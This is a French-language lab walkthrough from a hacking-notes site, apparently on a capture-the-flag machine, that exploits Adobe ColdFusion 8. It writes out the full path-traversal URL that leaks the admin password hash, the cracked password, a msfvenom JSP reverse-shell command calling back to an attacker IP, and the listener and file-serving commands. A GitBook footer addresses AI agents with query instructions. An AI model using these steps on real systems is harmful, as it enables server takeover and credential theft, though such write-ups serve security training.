> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/adobe-coldfusion-8-cms-exploitation.md).

# Adobe ColdFusion 8

Nous trouvons un service d’administration Adobe ColdFusion exposé sur le port 8500 qui nécessite un nom d’utilisateur et un mot de passe.

<figure><img src="/files/0987e6bc905910401803c9ab1841009f0443f64d" alt=""><figcaption></figcaption></figure>

Recherche avec `searchsploit` révèle un script d’exploitation pour une vulnérabilité de traversée de répertoires.

<figure><img src="/files/d88653cfb187876486a4916e7b64a8da0977aab1" alt=""><figcaption></figcaption></figure>

`searchsploit -x multiple/remote/14641.py`

Le script révèle une vulnérabilité LFI qui peut lire le fichier contenant le mot de passe :

<figure><img src="/files/3ee131a7d3c9fbef42855a86fcb0e1c7cc086001" alt=""><figcaption></figcaption></figure>

`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`

<figure><img src="/files/46bcdeed15d7a2ca608bb6a8b4cbe1635afd21d8" alt=""><figcaption></figcaption></figure>

Le fichier contient la valeur de mot de passe suivante :

`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`

<figure><img src="/files/ba0f698d59df77fc1cb92b621c1e5cd969811b00" alt=""><figcaption></figcaption></figure>

### Cassage de mot de passe

{% embed url="<https://crackstation.net/>" %}

En utilisant CrackStation, nous cassons le hachage et récupérons le mot de passe `happyday`. Nous pouvons maintenant nous connecter avec succès.

<figure><img src="/files/fe3a2ea16936a08f8eb29e01f54be383340a23e7" alt=""><figcaption></figcaption></figure>

### Création d’une tâche planifiée malveillante

<figure><img src="/files/534b9edf34b301a57009d507bf52a2919668ed6a" alt=""><figcaption></figcaption></figure>

Dans la section des tâches planifiées, créez une nouvelle tâche qui écrit un fichier malveillant dans `C:/ColdFusion8/wwwroot/CFIDE`, où l’application dispose des permissions de lecture/écriture.

<figure><img src="/files/f38a1a927df892dc315589dd071ce7f768ad8d15" alt="" width="563"><figcaption></figcaption></figure>

**Création du fichier JSP :** Comme le serveur peut exécuter des fichiers JSP, générez un shell inversé JSP avec `msfvenom`:

<figure><img src="/files/f52c3feed99a4fbf3b6eb683002da36e5d5fc489" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="/files/672bab05f11bd4124ba5e066b4e46e89a88f4ef0" alt=""><figcaption></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```

**Ajout d’une nouvelle tâche :** Configurez la tâche planifiée pour exécuter le fichier malveillant.

<figure><img src="/files/2da06dd21e88568fcaf594af20ff9e37f6ee3bc6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/105c30e487254106e6ef965526f4918d5c11ca30" alt="" width="563"><figcaption></figcaption></figure>

**Serveur HTTP pour le transfert de fichiers :** Démarrez un serveur HTTP sur la machine de l’attaquant pour transférer le fichier JSP :

```bash
python3 -m http.server 80
```

<figure><img src="/files/cfc7f09e011eab2517a888d5187aea4708297942" alt=""><figcaption></figcaption></figure>

**Configuration de l’écouteur et exécution du shell :** Démarrez un écouteur sur le port 443 pour recevoir le shell inversé, puis déclenchez la tâche planifiée depuis `/CFIDE/`:

```bash
rlwrap nc -nvlp 443
```

<figure><img src="/files/e573751053328238ac9be65c19e9b91174c21e0c" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/1b4603c553205e216c1febc311acae00b5529afc" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/adobe-coldfusion-8-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
